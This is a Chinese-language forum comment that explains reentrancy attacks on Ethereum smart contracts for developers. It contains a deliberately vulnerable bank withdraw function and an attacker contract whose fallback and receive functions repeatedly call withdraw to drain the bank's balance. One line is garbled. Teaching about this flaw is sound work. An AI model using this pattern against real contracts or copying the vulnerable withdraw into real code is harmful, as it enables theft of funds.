RE: RE: Solidity开发指南
You are viewing a single comment's thread from:

RE: Solidity开发指南

Words
189
Reading
1 min
Listen
Play
4M

参考

发生场景: 以太坊转帐。
原因:发送的对象不知是外部帐户(用户地址)还是合约帐户。如果是合约帐户,则有被重入攻击的风险。

重入攻击发生在以太坊转帐的时候,msg.sender.call.value(_amount)(); 这条代码有重入风险。以太坊有两种帐户类型:一是外部帐户(用户地址),另一个是合约帐户 。如果是外部帐户,代码可以正常执行。但如果是合约的话,这条代码就有问题了。msg.sender.call.value(_amount)(); 会触发这个合约的fallback函数!如果fallback函数有恶意代码,那乐子就大啰!比如这样:

fallback() payable external {
    if(address(ibank).balance > 0){
        ibank.withdraw();  //这就相当于重复不停地取以太坊了!
    }
}

sendValue(1 ether)call{value: 1 ether}("")gas使transfer

eg:
//bank.sol
function withdraw() public payable {
    // msg.sender.call.value(_amount)();  //重入攻击 已修复
    // msg.sender.sendValue(1 ether); //重入攻击
    msg.sender.call{value: 1 ether}(""); //会被重入攻击
    // payable(msg.sender).transfer(1 ether); //不会重入攻击
}
//attack.sol
function iWithdraw() public payable {
    ibank.withdraw();
}
fallback() payable external {
    if(address(ibank).balance > 0){
        ibank.withdraw();
    }
}
//有时用receive也是可以的
receive() payable external {
   if(address(ibank).balance > 0){
        ibank.withdraw();
    }
}
@lemooljiang: 参考 发生场景: 以太坊转帐。 | Ecency